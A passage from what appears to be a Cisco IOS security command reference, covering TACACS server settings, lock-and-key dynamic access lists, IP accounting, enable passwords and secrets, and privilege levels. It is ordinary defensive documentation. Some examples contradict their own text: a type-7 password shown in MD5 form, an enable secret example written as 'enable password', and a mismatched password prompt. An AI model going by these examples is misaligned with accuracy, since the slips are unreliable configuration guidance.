  8240. To enable an extended TACACS mode, use the tacacs-server extended global configuration 
  8241. command. Use the no form of this command to disable the mode. 
  8242. tacacs-server extended 
  8243. no tacacs-server extended 
  8244. Syntax Description
  8245. This command has no arguments or keywords. 
  8246. Default
  8247. Disabled 
  8248. Command Mode
  8249. Global configuration 
  8250. Usage Guidelines
  8251. This command first appeared in Cisco IOS Release 10.0. 
  8252. This command initializes extended TACACS. To initialize AAA/TACACS+, use the aaa new-
  8253. model command. 
  8254. Example
  8255. The following example enables extended TACACS mode: 
  8256. tacacs-server extended
  8257. tacacs-server host 
  8258. To specify a TACACS host, use the tacacs-server host global configuration command. Use the 
  8259. no form of this command to delete the specified name or address. 
  8260. tacacs-server host hostname [single-connection] [port integer] [timeout integer] [key 
  8261. string] 
  8262. no tacacs-server host hostname 
  8263. Syntax Description
  8264. hostname     Name or IP address of the host.     
  8265. single-connection     Specify that the router maintain a single open connection for confirmation 
  8266. from a AAA/TACACS+ server (CiscoSecure Release 1.0.1 or later). This command contains no 
  8267. autodetect and fails if the specified host is not running a CiscoSecure daemon.     
  8268. port     Specify a server port number.     
  8269. integer     Port number of the server (in the range 1 to 10,000).     
  8270. timeout     Specify a timeout value. This overrides the global timeout value set with the 
  8271. tacacs-server timeout command for this server only.     
  8272. integer     Integer value, in seconds, of the timeout interval.     
  8273. key     Specify an authentication and encryption key. This must match the key used by the 
  8274. TACACS+ daemon. Specifying this key overrides the key set by the global command tacacs-
  8275. server key for this server only.     
  8276. string     Character string specifying authentication and encryption key.     
  8277. Default
  8278. No TACACS host is specified. 
  8279. Command Mode
  8280. Global configuration 
  8281. Usage Guidelines
  8282. This command first appeared in Cisco IOS Release 10.0. 
  8283. You can use multiple tacacs-server host commands to specify additional hosts. The Cisco IOS 
  8284. software searches for hosts in the order in which you specify them. Use the single-connection, 
  8285. port, timeout, and key options only when running a AAA/TACACS+ server. 
  8286. Because some of the parameters of the tacacs-server host command override global settings 
  8287. made by the tacacs-server timeout and tacacs-server key commands, you can use this 
  8288. command to enhance security on your network by uniquely configuring individual routers. 
  8289. Examples
  8290. The following example specifies a TACACS host named Sea_Change: 
  8291. tacacs-server host Sea_Change
  8292. The following example specifies that, for AAA confirmation, the router consult the CiscoSecure 
  8293. TACACS+ host named Sea_Cure on port number 51. The timeout value for requests on this 
  8294. connection is 3 seconds; the encryption key is a_secret. 
  8295. tacacs-server host Sea_Cure single-connection port 51 timeout 3 key a_secret
  8296. Related Commands
  8297. A dagger (å) indicates that the command is documented outside this chapter. 
  8298. login tacacs 
  8299. ppp å 
  8300. slip å 
  8301. tacacs-server key 
  8302. tacacs-server timeout 
  8303.  
  8304. [12.6.7] tacacs-server key 
  8305. Use the tacacs-server key global configuration command to set the authentication encryption 
  8306. key used for all TACACS+ communications between the access server and the TACACS+ 
  8307. daemon. Use the no form of the command to disable the key. 
  8308. tacacs-server key key 
  8309. no tacacs-server key [key] 
  8310. Syntax Description
  8311. key     Key used to set authentication and encryption. This key must match the key used on the 
  8312. TACACS+ daemon.     
  8313. Command Mode
  8314. Global Configuration 
  8315. Usage Guidelines
  8316. This command first appeared in Cisco IOS Release 11.1. 
  8317. After enabling AAA with the aaa new-model command, you must set the authentication and 
  8318. encryption key using the tacacs-server key command. 
  8319. The key entered must match the key used on the TACACS+ daemon. All leading spaces are 
  8320. ignored; spaces within and at the end of the key are not. If you use spaces in your key, do not 
  8321. enclose the key in quotation marks unless the quotation marks themselves are part of the key. 
  8322. Example
  8323. The following example illustrates how to set the authentication and encryption key to "dare to go": 
  8324. tacacs-server key dare to go
  8325. Related Commands
  8326. aaa new-model 
  8327. tacacs-server host 
  8328.  
  8329. [12.6.8] tacacs-server last-resort 
  8330. To cause the network access server to request the privileged password as verification, or to allow 
  8331. successful login without further input from the user, use the tacacs-server last-resort global 
  8332. configuration command. Use the no tacacs-server last-resort command to restore the system to 
  8333. the default behavior. 
  8334. tacacs-server last-resort {password | succeed} 
  8335. no tacacs-server last-resort {password | succeed} 
  8336. Syntax Description
  8337. password     Allows the user to access the EXEC command mode by entering the password 
  8338. set by the enable command.     
  8339. succeed     Allows the user to access the EXEC command mode without further question.     
  8340. Default
  8341. If, when running the TACACS server, the TACACS server does not respond, the default action is 
  8342. to deny the request. 
  8343. Command Mode
  8344. Global configuration 
  8345. Usage Guidelines
  8346. This command first appeared in Cisco IOS Release 10.0. 
  8347. Use the tacacs-server last-resort command to be sure that login can occur; for example, when 
  8348. a systems administrator needs to log in to troubleshoot TACACS servers that might be down. 
  8349.  
  8350. Note This command is not used in AAA/TACACS+. 
  8351.  
  8352. Example
  8353. The following example forces successful login: 
  8354. tacacs-server last-resort succeed
  8355. Related Commands
  8356. A dagger (å) indicates that the command is documented outside this chapter. 
  8357. enable password å 
  8358. login (EXEC) å 
  8359.  
  8360. [12.6.9] tacacs-server notify 
  8361. Use the tacacs-server notify global configuration command to cause a message to be 
  8362. transmitted to the TACACS server, with retransmission being performed by a background 
  8363. process for up to 5 minutes. Use the no form of this command to disable notification. 
  8364. tacacs-server notify {connection [always] | enable | logout [always] | slip [always]} 
  8365. no tacacs-server notify 
  8366. Syntax Description
  8367. connection     Specifies that a message be transmitted when a user makes a TCP connection.     
  8368. always     (Optional) Sends a message even when a user is not logged in. This option applies only 
  8369. to SLIP or PPP sessions and can be used with the logout or slip keywords.     
  8370. enable     Specifies that a message be transmitted when a user enters the enable command.     
  8371. logout     Specifies that a message be transmitted when a user logs out.     
  8372. slip     Specifies that a message be transmitted when a user starts a SLIP or PPP session.     
  8373. Default
  8374. No message is transmitted to the TACACS server. 
  8375. Command Mode
  8376. Global configuration 
  8377. Usage Guidelines
  8378. This command first appeared in Cisco IOS Release 10.0. The always and slip commands first 
  8379. appeared in Cisco IOS Release 11.0. 
  8380. The terminal user receives an immediate response, allowing access to the feature specified. 
  8381. Enter one of the keywords to specify notification of the TACACS server upon receipt of the 
  8382. corresponding action (when user logs out, for example). 
  8383.  
  8384. Note This command is not used in AAA/TACACS+. It has been replaced by the 
  8385. aaa accounting suite of commands. 
  8386.  
  8387. Example
  8388. The following example sets up notification of the TACACS server when a user logs out: 
  8389. tacacs-server notify logout
  8390.  
  8391. [12.7.0] tacacs-server optional-passwords 
  8392. To specify that the first TACACS request to a TACACS server be made without password 
  8393. verification, use the tacacs-server optional-passwords global configuration command. Use the 
  8394. no form of this command to restore the default. 
  8395. tacacs-server optional-passwords 
  8396. no tacacs-server optional-passwords 
  8397. Syntax Description
  8398. This command has no arguments or keywords. 
  8399. Default
  8400. Disabled 
  8401. Command Mode
  8402. Global configuration 
  8403. Usage Guidelines
  8404. This command first appeared in Cisco IOS Release 10.0. 
  8405. When the user enters in the login name, the login request is transmitted with the name and a 
  8406. zero-length password. If accepted, the login procedure completes. If the TACACS server refuses 
  8407. this request, the server software prompts for a password and tries again when the user supplies a 
  8408. password. The TACACS server must support authentication for users without passwords to make 
  8409. use of this feature. This feature supports all TACACS requests---login, SLIP, enable, and so on. 
  8410.  
  8411. Note This command is not used by AAA/TACACS+. 
  8412.  
  8413. Example
  8414. The following example configures the first login to not require TACACS verification: 
  8415. tacacs-server optional-passwords
  8416.  
  8417. [12.7.1] tacacs-server retransmit 
  8418. To specify the number of times the Cisco IOS software searches the list of TACACS server hosts 
  8419. before giving up, use the tacacs-server retransmit global configuration command. Use the no 
  8420. form of this command to disable retransmission. 
  8421. tacacs-server retransmit retries 
  8422. no tacacs-server retransmit 
  8423. Syntax Description
  8424. retries     Integer that specifies the retransmit count.     
  8425. Default
  8426. Two retries 
  8427. Command Mode
  8428. Global configuration 
  8429. Usage Guidelines
  8430. This command first appeared in Cisco IOS Release 10.0. 
  8431. The Cisco IOS software will try all servers, allowing each one to time out before increasing the 
  8432. retransmit count. 
  8433. Example
  8434. The following example specifies a retransmit counter value of five times: 
  8435. tacacs-server retransmit 5
  8436.  
  8437. [12.7.2] tacacs-server timeout 
  8438. To set the interval that the server waits for a server host to reply, use the tacacs-server timeout 
  8439. global configuration command. Use the no form of this command to restore the default. 
  8440. tacacs-server timeout seconds 
  8441. no tacacs-server timeout 
  8442. Syntax Description
  8443. seconds     Integer that specifies the timeout interval in seconds (between 1 and 300).     
  8444. Default
  8445. 5 seconds 
  8446. Command Mode
  8447. Global configuration 
  8448. Usage Guidelines
  8449. This command first appeared in Cisco IOS Release 10.0. 
  8450. Example
  8451. The following example changes the interval timer to 10 seconds: 
  8452. tacacs-server timeout 10
  8453. Related Command
  8454. tacacs-server host 
  8455.  
  8456. [12.7.3] Traffic Filter Commands
  8457. This chapter describes the commands used to configure Lock-and-key security (IP only). 
  8458. Other traffic filter commands are protocol-specific, and are therefore described in the appropriate 
  8459. protocol-specific chapters in the Cisco IOS command references. You should refer to these 
  8460. protocol-specific chapters to find detailed information about traffic filter commands for each 
  8461. protocol. (Many of these protocols refer to the filters as "access lists.") 
  8462. Specific information about configuring traffic filters (access lists) for these protocols can be found 
  8463. in protocol-specific chapters in the Cisco IOS configuration guides. General guidelines for using 
  8464. access lists can be found in the "Configuring Traffic Filters" chapter of the Security Configuration 
  8465. Guide. 
  8466. Lock-and-key security is implemented with extended IP dynamic access lists. Lock-and-key 
  8467. security is available only for IP traffic, but provides more security functions than traditional static 
  8468. traffic filters. 
  8469.  
  8470. [12.7.4] access-enable 
  8471. To enable the router to create a temporary access list entry in a dynamic access list, use the 
  8472. access-enable EXEC command. 
  8473. access-enable [host] [timeout minutes] 
  8474. Syntax Description
  8475. host     (Optional) Tells the software to enable access only for the host from which the 
  8476. Telnet session originated. If not specified, the software allows all hosts on the defined network to 
  8477. gain access. The dynamic access list contains the network mask to use for enabling the new 
  8478. network.     
  8479. timeout minutes     (Optional) Specifies an idle timeout for the temporary access list entry. If 
  8480. the access list entry is not accessed within this period, it is automatically deleted and requires the 
  8481. user to authenticate again. The default is for the entries to remain permanently. We recommend 
  8482. that this value equal the idle timeout set for the WAN connection.     
  8483. Command Mode
  8484. EXEC 
  8485. Usage Guidelines
  8486. This command first appeared in Cisco IOS Release 11.1. 
  8487. This command enables the lock-and-key access feature. 
  8488. You should always define either an idle timeout (with the timeout keyword in this command) or 
  8489. an absolute timeout (with the timeout keyword in the access-list command). Otherwise, the 
  8490. temporary access list entry will remain, even after the user terminates the session. 
  8491. Example
  8492. The following example causes the software to create a temporary access list entry and tells the 
  8493. software to enable access only for the host from which the Telnet session originated. If the 
  8494. access list entry is not accessed within 2 minutes, it is deleted. 
  8495. autocommand access-enable host timeout 2
  8496. Related Commands
  8497. A dagger (å) indicates that the command is documented outside this chapter. 
  8498. access-list (extended) å 
  8499. autocommand å 
  8500.  
  8501. [12.7.5] access-template 
  8502. To manually place a temporary access list entry on a router to which you are connected, use the 
  8503. access-template EXEC command. 
  8504. access-template [access-list-number | name] [dynamic-name] [source] [destination] [timeout 
  8505. minutes] 
  8506. Syntax Description
  8507. access-list-number     Number of the dynamic access list.     
  8508. name     Name of an IP access list. The name cannot contain a space or quotation mark, 
  8509. and must begin with an alphabetic character to avoid ambiguity with numbered access lists.     
  8510. dynamic-name     (Optional) Name of a dynamic access list.     
  8511. source     (Optional) Source address in a dynamic access list. The keywords host and 
  8512. any are allowed. All other attributes are inherited from the original access-list entry.     
  8513. destination     (Optional) Destination address in a dynamic access list. The keywords host and 
  8514. any are allowed. All other attributes are inherited from the original access-list entry.     
  8515. timeout minutes     (Optional) Specifies a maximum time limit for each entry within this 
  8516. dynamic list. This is an absolute time, from creation, that an entry can reside in the list. The 
  8517. default is an infinite time limit and allows an entry to remain permanently.     
  8518. Command Mode
  8519. EXEC 
  8520. Usage Guidelines
  8521. This command first appeared in Cisco IOS Release 11.1. 
  8522. This command provides a way to enable the lock-and-key access feature. 
  8523. You should always define either an idle timeout (with the timeout keyword in this command) or 
  8524. an absolute timeout (with the timeout keyword in the access-list command). Otherwise, the 
  8525. dynamic access list will remain, even after the user has terminated the session. 
  8526. Example
  8527. In the following example, the software enables IP access on incoming packets in which the 
  8528. source address is 172.29.1.129 and the destination address is 192.168.52.12. All other source 
  8529. and destination pairs are discarded. 
  8530. access-template 101 payroll host 172.29.1.129 host 192.168.52.12 timeout 2
  8531. Related Commands
  8532. A dagger (å) indicates that the command is documented outside this chapter. 
  8533. access-list (extended) å 
  8534. autocommand å 
  8535. clear access-template 
  8536.  
  8537. [12.7.6] clear access-template 
  8538. To manually clear a temporary access list entry from a dynamic access list, use the clear 
  8539. access-template EXEC command. 
  8540. clear access-template [access-list-number | name] [dynamic-name] [source] [destination] 
  8541. Syntax Description
  8542. access-list-number     (Optional) Number of the dynamic access list from which the entry is to 
  8543. be deleted.     
  8544. name     Name of an IP access list from which the entry is to be deleted. The name 
  8545. cannot contain a space or quotation mark, and must begin with an alphabetic character to avoid 
  8546. ambiguity with numbered access lists.     
  8547. dynamic-name     (Optional) Name of the dynamic access list from which the entry is to be 
  8548. deleted.     
  8549. source     (Optional) Source address in a temporary access list entry to be deleted.     
  8550. destination     (Optional) Destination address in a temporary access list entry to be deleted.     
  8551. Command Mode
  8552. EXEC 
  8553. Usage Guidelines
  8554. This command first appeared in Cisco IOS Release 11.1. 
  8555. This command is related to the lock-and-key access feature. It clears any temporary access list 
  8556. entries that match the parameters you define. 
  8557. Example
  8558. The following example clears any temporary access list entries with a source of 172.20.1.12 from 
  8559. the dynamic access list named vendor: 
  8560. clear access-template vendor 172.20.1.12
  8561. Related Commands
  8562. A dagger (å) indicates that the command is documented outside this chapter. 
  8563. access-list (extended) å 
  8564. access-template 
  8565.  
  8566. [12.7.7] show ip accounting 
  8567. To display the active accounting or checkpointed database or to display access-list violations, use 
  8568. the show ip accounting privileged EXEC command. 
  8569. show ip accounting [checkpoint] [output-packets | access-violations] 
  8570. Syntax Description
  8571. checkpoint     (Optional) Indicates that the checkpointed database should be displayed.     
  8572. output-packets     (Optional) Indicates that information pertaining to packets that passed access 
  8573. control and were successfully routed should be displayed. This is the default value if neither 
  8574. output-packets nor access-violations is specified.     
  8575. access-violations     (Optional) Indicates that information pertaining to packets that failed 
  8576. access lists and were not routed should be displayed.     
  8577. Defaults
  8578. If neither the output-packets nor access-violations keyword is specified, show ip accounting 
  8579. displays information pertaining to packets that passed access control and were successfully 
  8580. routed. 
  8581. Command Mode 
  8582. EXEC 
  8583. Usage Guidelines
  8584. This command first appeared in Cisco IOS Release 10.0. 
  8585. To use this command, you must first enable IP accounting on a per-interface basis. 
  8586. Sample Displays
  8587. Following is sample output from the show ip accounting command: 
  8588. Router# show ip accounting
  8589.  
  8590.    Source           Destination              Packets               Bytes     
  8591.  172.30.19.40     172.30.67.20                     7                 306
  8592.  172.30.13.55     172.30.67.20                    67                2749
  8593.  172.30.2.50      172.30.33.51                    17                1111
  8594.  172.30.2.50      172.30.2.1                       5                 319
  8595.  172.30.2.50      172.30.1.2                     463               30991
  8596.  172.30.19.40     172.30.2.1                       4                 262
  8597.  172.30.19.40     172.30.1.2                      28                2552
  8598.  172.30.20.2     172.30.6.100                    39                2184
  8599.  172.30.13.55    172.30.1.2                      35                3020
  8600.  172.30.19.40    172.30.33.51                  1986               95091
  8601.  172.30.2.50     172.30.67.20                   233               14908
  8602.  172.30.13.28    172.30.67.53                   390               24817
  8603.  172.30.13.55    172.30.33.51                214669             9806659
  8604.  172.30.13.111   172.30.6.23                  27739             1126607
  8605.  172.30.13.44    172.30.33.51                 35412             1523980
  8606.  172.30.7.21     172.30.1.2                      11                 824
  8607.  172.30.13.28    172.30.33.2                     21                1762
  8608.  172.30.2.166    172.30.7.130                   797              141054
  8609.  172.30.3.11     172.30.67.53                     4                 246
  8610.  172.30.7.21     172.30.33.51                 15696              695635
  8611.  172.30.7.24     172.30.67.20                    21                 916
  8612.  172.30.13.111   172.30.10.1                     16                1137
  8613.  
  8614. Field     Description     
  8615. Source     Source address of the packet     
  8616. Destination     Destination address of the packet     
  8617. Packets     Number of packets transmitted from the source address to the destination 
  8618. address     
  8619. Bytes     Number of bytes transmitted from the source address to the destination address 
  8620.     
  8621. Following is sample output from the show ip accounting access-violations command. (The 
  8622. following displays information pertaining to packets that failed access lists and were not routed.) 
  8623. Router# show ip accounting access-violations
  8624.  
  8625.   Source          Destination        Packets        Bytes      ACL 
  8626.   172.30.19.40   172.30.67.20       7              306        77
  8627.   172.30.13.55   172.30.67.20       67             2749       185
  8628.   172.30.2.50    172.30.33.51       17             1111       140
  8629.   172.30.2.50    172.30.2.1         5              319        140
  8630.   172.30.19.40   172.30.2.1         4              262        77
  8631. Accounting data age is 41
  8632.  
  8633. Field     Description     
  8634. Source     Source address of the packet     
  8635. Destination     Destination address of the packet     
  8636. Packets     For accounting keyword, number of packets transmitted from the source 
  8637. address to the destination address 
  8638. For access-violations keyword, number of packets transmitted from the source address to the 
  8639. destination address that violated the access control list     
  8640. Bytes     For accounting keyword, number of bytes transmitted from the source address 
  8641. to the destination address 
  8642. For access-violations keyword, number of bytes transmitted from the source address to the 
  8643. destination address that violated the access-control list     
  8644. ACL     Number of the access list of the last packet transmitted from the source to the 
  8645. destination that failed an access list     
  8646. Related Commands
  8647. A dagger (å) indicates that the command is documented outside this chapter. 
  8648. clear ip accounting å 
  8649. ip accounting å 
  8650. ip accounting-list å 
  8651. ip accounting-threshold å 
  8652. ip accounting-transits å 
  8653.  
  8654. [12.7.8] Terminal Access Security Commands
  8655. This chapter describes the commands used to control access to the router. 
  8656. enable 
  8657. To log on to the router at a specified level, use the enable EXEC command. 
  8658. enable [level] 
  8659. Syntax Description
  8660. level     (Optional) Defines the privilege level that a user logs in to on the router.     
  8661. Default
  8662. Level 15 
  8663. Command Mode
  8664. EXEC 
  8665. Usage Guidelines
  8666. This command first appeared in Cisco IOS Release 10.0. 
  8667.  
  8668. Note The enable command is associated with privilege level 0. If you configure AAA authorization 
  8669. for a privilege level greater than 0, this command will not be included in the privilege level 
  8670. command set. 
  8671.  
  8672. Example
  8673. In the following example, the user is logging on to privilege level 5 on a router: 
  8674. enable 5
  8675. Related Commands
  8676. A dagger (å) indicates that the command is documented outside this chapter. 
  8677. disable å 
  8678. privilege level (global) 
  8679. privilege level (line) 
  8680.  
  8681. [12.7.9] enable password 
  8682. Use the enable password global configuration command to set a local password to control 
  8683. access to various privilege levels. Use the no form of this command to remove the password 
  8684. requirement. 
  8685. enable password [level level] {password | encryption-type encrypted-password} 
  8686. no enable password [level level] 
  8687. Syntax Description
  8688. level level     (Optional) Level for which the password applies. You can specify up to 16 
  8689. privilege levels, using numbers 0 through 15. Level 1 is normal EXEC-mode user privileges. If this 
  8690. argument is not specified in the command or the no form of the command, the privilege level 
  8691. defaults to 15 (traditional enable privileges).     
  8692. password     Password users type to enter enable mode.     
  8693. encryption-type     (Optional) Cisco-proprietary algorithm used to encrypt the password. Currently 
  8694. the only encryption type available is 7. If you specify encryption-type, the next argument you 
  8695. supply must be an encrypted password (a password already encrypted by a Cisco router).     
  8696. encrypted-password     Encrypted password you enter, copied from another router configuration. 
  8697.     
  8698. Default
  8699. No password is defined. The default is level 15. 
  8700. Command Mode
  8701. Global configuration 
  8702. Usage Guidelines
  8703. This command first appeared in Cisco IOS Release 10.0. 
  8704. Use this command with the level option to define a password for a specific privilege level. After 
  8705. you specify the level and the password, give the password to the users who need to access this 
  8706. level. Use the privilege level (global) configuration command to specify commands accessible 
  8707. at various levels. 
  8708. You will not ordinarily enter an encryption type. Typically you enter an encryption type only if you 
  8709. copy and paste into this command a password that has already been encrypted by a Cisco 
  8710. router. 
  8711.  Caution If you specify an encryption type and then enter a cleartext password, you will not 
  8712. be able to reenter enable mode. You cannot recover a lost password that has been encrypted by 
  8713. any method. 
  8714. If the service password-encryption command is set, the encrypted form of the password you 
  8715. create with the enable password command is displayed when a show startup-config command 
  8716. is entered. 
  8717. You can enable or disable password encryption with the service password-encryption 
  8718. command. 
  8719. An enable password is defined as follows: 
  8720. ? Must contain from 1 to 25 uppercase and lowercase alphanumeric characters. 
  8721. ? Must not have a number as the first character. 
  8722. ? Can have leading spaces, but they are ignored. However, intermediate and trailing 
  8723. spaces are recognized. 
  8724. ? Can contain the question mark (?) character if you precede the question mark with the 
  8725. key combination Crtl-V when you create the password; for example, to create the 
  8726. password abc?123, do the following: 
  8727. ? Enter abc. 
  8728. ? Type Crtl-V. 
  8729. ? Enter ?123. 
  8730. When the system prompts you to enter the enable password, you need not precede the 
  8731. question mark with the Ctrl-V; you can simply enter abc?123 at the password prompt. 
  8732. Examples
  8733. In the following example, the password pswd2 is enabled for privilege level 2: 
  8734. enable password level 2 pswd2
  8735. In the following example the encrypted password $1$i5Rkls3LoyxzS8t9, which has been copied 
  8736. from a router configuration file, is set for privilege level 2 using encryption type 7: 
  8737. enable password level 2 7 $1$i5Rkls3LoyxzS8t9
  8738. Related Commands
  8739. A dagger (å) indicates that the command is documented outside this chapter. 
  8740. disable å 
  8741. enable å 
  8742. enable secret 
  8743. privilege level (global) 
  8744. service password-encryption 
  8745. show privilege 
  8746. show startup-config å 
  8747.  
  8748. [12.8.0] enable secret 
  8749. Use the enable secret global configuration command to specify an additional layer of security 
  8750. over the enable password command. Use the no form of the command to turn off the enable 
  8751. secret function. 
  8752. enable secret [level level] {password | encryption-type encrypted-password} 
  8753. no enable secret [level level] 
  8754. Syntax Description
  8755. level level     (Optional) Level for which the password applies. You can specify up to sixteen 
  8756. privilege levels, using numbers 0 through 15. Level 1 is normal EXEC-mode user privileges. If this 
  8757. argument is not specified in the command or in the no form of the command, the privilege level 
  8758. defaults to 15 (traditional enable privileges). The same holds true for the no form of the 
  8759. command.     
  8760. password     Password users type to enter enable mode. This password should be different 
  8761. from the password created with the enable password command.     
  8762. encryption-type     (Optional) Cisco-proprietary algorithm used to encrypt the password. Currently 
  8763. the only encryption type available for this command is 5 . If you specify encryption-type, the next 
  8764. argument you supply must be an encrypted password (a password encrypted by a Cisco router).     
  8765. encrypted-password     Encrypted password you enter, copied from another router configuration. 
  8766.     
  8767. Default
  8768. No password is defined. The default level is 15. 
  8769. Command Mode
  8770. Global configuration 
  8771. Usage Guidelines
  8772. This command first appeared in Cisco IOS Release 11.0. 
  8773. Use this command in conjunction with the enable password command to provide an additional 
  8774. layer of security over the enable password. The enable secret command provides better security 
  8775. by storing the enable secret password using a non-reversible cryptographic function. The added 
  8776. layer of security encryption provides is useful in environments where the password crosses the 
  8777. network or is stored on a TFTP server. 
  8778. You will not ordinarily enter an encryption type. Typically you enter an encryption type only if you 
  8779. paste into this command an encrypted password that you copied from a router configuration file. 
  8780.  Caution If you specify an encryption-type and then enter a cleartext password, you will not 
  8781. be able to reenter enable mode. You cannot recover a lost password that has been encrypted by 
  8782. any method. 
  8783. If you use the same password for the enable password and enable secret commands, you 
  8784. receive an error message warning that this practice is not recommended, but the password will 
  8785. be accepted. By using the same password, however, you undermine the additional security the 
  8786. enable secret command provides. 
  8787.  
  8788. Note After you set a password using enable secret command, a password set using the enable 
  8789. password command works only if the enable secret is disabled or an older version of Cisco IOS 
  8790. software is being used, such as when running an older rxboot image. Additionally, you cannot 
  8791. recover a lost password that has been encrypted by any method. 
  8792.  
  8793. If service password-encryption is set, the encrypted form of the password you create here is 
  8794. displayed when a show startup-config command is entered. 
  8795. You can enable or disable password encryption with the service password-encryption 
  8796. command. 
  8797. An enable password is defined as follows: 
  8798. ? Must contain from 1 to 25 uppercase and lowercase alphanumeric characters 
  8799. ? Must not have a number as the first character 
  8800. ? Can have leading spaces, but they are ignored. However, intermediate and trailing 
  8801. spaces are recognized. 
  8802. ? Can contain the question mark (?) character if you precede the question mark with the 
  8803. key combination Crtl-V when you create the password; for example, to create the 
  8804. password abc?123, do the following: 
  8805. ? Enter abc. 
  8806. ? Type Crtl-V. 
  8807. ? Enter ?123. 
  8808. When the system prompts you to enter the enable password, you need not precede the 
  8809. question mark with the Ctrl-V; you can simply enter abc?123 at the password prompt. 
  8810. Examples
  8811. The following example specifies the enable secret password of gobbledegook: 
  8812. enable secret gobbledegook
  8813. After specifying an enable secret password, users must enter this password to gain access. Any 
  8814. passwords set through enable password will no longer work. 
  8815. Password: gobbledegoo
  8816. In the following example the encrypted password $1$FaD0$Xyti5Rkls3LoyxzS8 , which has been 
  8817. copied from a router configuration file, is enabled for privilege level 2 using encryption type 5: 
  8818. enable password level 2 5 $1$FaD0$Xyti5Rkls3LoyxzS8
  8819. Related Commands
  8820. A dagger (å) indicates that the command is documented outside this chapter. 
  8821. enable å 
  8822. enable password 
  8823.  
  8824. [12.8.1] ip identd 
  8825. To enable identification support, use the ip identd global configuration command. Use the no 
  8826. form of this command to disable this feature. 
  8827. ip identd 
  8828. no ip identd 
  8829. Syntax Description
  8830. This command has no arguments or keywords. 
  8831. Default
  8832. Identification support is not enabled. 
  8833. Command Mode
  8834. Global configuration 
  8835. Usage Guidelines
  8836. This command first appeared in Cisco IOS Release 11.1. 
  8837. The ip identd command returns accurate information about the host TCP port; however, no 
  8838. attempt is made to protect against unauthorized queries. 
  8839. Example
  8840. In the following example, identification support is enabled: 
  8841. ip identd
  8842.  
  8843. [12.8.2] login authentication 
  8844. To enable TACACS+ authentication for logins, use the login authentication line configuration 
  8845. command. Use the no form of this command to either disable TACACS+ authentication for logins 
  8846. or to return to the default. 
  8847. login authentication {default | list-name} 
  8848. no login authentication {default | list-name} 
  8849. Syntax Description
  8850. default     Uses the default list created with the aaa authentication login command.     
  8851. list-name     Uses the indicated list created with the aaa authentication login command.     
  8852. Default
  8853. Uses the default set with aaa authentication login. 
  8854. Command Mode
  8855. Line configuration 
  8856. Usage Guidelines
  8857. This command first appeared in Cisco IOS Release 10.3. 
  8858. This command is a per-line command used with AAA that specifies the name of a list of 
  8859. TACACS+ authentication methods to try at login. If no list is specified, the default list is used 
  8860. (whether or not it is specified in the command line). 
  8861.  Caution If you use a list-name value that was not configured with the aaa authentication 
  8862. login command, you will disable login on this line. 
  8863. Entering the no version of login authentication has the same effect as entering the command 
  8864. with the default argument. 
  8865. Before issuing this command, create a list of authentication processes by using the global 
  8866. configuration aaa authentication login command. 
  8867. Examples
  8868. The following example specifies that the default AAA authentication is to be used on line 4: 
  8869. line 4
  8870. login authentication default
  8871. The following example specifies that the AAA authentication list called list1 is to be used on line 
  8872. 7: 
  8873. line 7
  8874. login authentication list1
  8875. Related Command
  8876. aaa authentication login 
  8877.  
  8878. [12.8.3] privilege level (global) 
  8879. To set the privilege level for a command, use the privilege level global configuration command. 
  8880. Use the no form of this command to revert to default privileges for a given command. 
  8881. privilege mode level level command 
  8882. no privilege mode level level command 
  8883. Syntax Description
  8884. mode     Configuration mode. (See the alias command in the Configuration Fundamentals 
  8885. Command Reference for a description of mode.     
  8886. level     Privilege level associated with the specified command. You can specify up to sixteen 
  8887. privilege levels, using numbers 0 through 15.     
  8888. command     Command to which privilege level is associated.     
  8889. Defaults
  8890. Level 15 is the level of access permitted by the enable password. 
  8891. Level 1 is normal EXEC-mode user privileges. 
  8892. Command Mode 
  8893. Global configuration 
  8894. Usage Guidelines
  8895. This command first appeared in Cisco IOS Release 10.3. 
  8896. The description of the alias command, in the Configuration Fundametals Command Reference, 
  8897. shows the options for the mode argument in the privilege level global configuration command. 
  8898. The password for a privilege level defined using the privilege level global configuration 
  8899. command is configured using the enable password command. 
  8900. Level 0 can be used to specify a more-limited subset of commands for specific users or lines. For 
  8901. example, you can allow user "guest" to use only the show users and exit commands. 
  8902.  
  8903. Note There are five commands associated with privilege level 0: disable, enable, exit, help, and 
  8904. logout. If you configure AAA authorization for a privilege level greater than 0, these five 
  8905. commands will not be included. 
  8906.  
  8907. When you set a command to a privilege level, all commands whose syntax is a subset of that 
  8908. command are also set to that level. For example, if you set the show ip route command to level 
  8909. 15, the show commands and show ip commands are automatically set to privilege level 15---
  8910. unless you set them individually to different levels. 
  8911. Example
  8912. The commands in the following example set the configure command to privilege level 14 and 
  8913. establish SecretPswd14 as the password users must enter to use level 14 commands. 
  8914. privilege exec level 14 configure
  8915. enable secret level 14 SecretPswd14
  8916. Related Commands
  8917. enable password 
  8918. enable secret 
  8919. privilege level (line) 
  8920.  
  8921. [12.8.4] privilege level (line) 
  8922. To set the default privilege level for a line, use the privilege level line configuration command. 
  8923. Use the no form of this command to restore the default user privilege level to the line. 
  8924. privilege level level 
  8925. no privilege level 
  8926. Syntax Description
  8927. level     Privilege level associated with the specified line.     
  8928. Defaults
  8929. Level 15 is the level of access permitted by the enable password. 
  8930. Level 1 is normal EXEC-mode user privileges. 
  8931. Command Mode 
  8932. Line configuration 
  8933. Usage Guidelines
  8934. This command first appeared in Cisco IOS Release 10.3. 
  8935. Users can override the privilege level you set using this command by logging in to the line and 
  8936. enabling a different privilege level. They can lower the privilege level by using the disable 
  8937. command. If users know the password to a higher privilege level, they can use that password to 
  8938. enable the higher privilege level. 
  8939. You can use level 0 to specify a subset of commands for specific users or lines. For example, you 
  8940. can allow user "guest" to use only the show users and exit commands. 
  8941. You might specify a high level of privilege for your console line to restrict who uses the line. 
  8942. Examples
  8943. The commands in the following example configure the auxiliary line for privilege level 5. Anyone 
  8944. using the auxiliary line has privilege level 5 by default. 
  8945. line aux 0
  8946. privilege level 5
  8947. The command in the following example sets all show ip commands, which includes all show 
  8948. commands, to privilege level 7: 
  8949. privilege exec level 7 show ip route
  8950. This is equivalent to the following command: 
  8951. privilege exec level 7 show
  8952.  
  8953. The commands in the following example set show ip route to level 7 and the show and show ip 
  8954. commands to level 1: 
  8955. privilege exec level 7 show ip route
  8956. privilege exec level 1 show ip 
  8957. Related Commands
  8958. enable password 
  8959. privilege level (line) 
  8960.  
  8961. [12.8.5] service password-encryption 
  8962. To encrypt passwords, use the service password-encryption global configuration command. 
  8963. Use the no form of this command to disable this service. 
  8964. service password-encryption 
  8965. no service password-encryption 
  8966. Syntax Description
  8967. This command has no arguments or keywords. 
  8968. Default
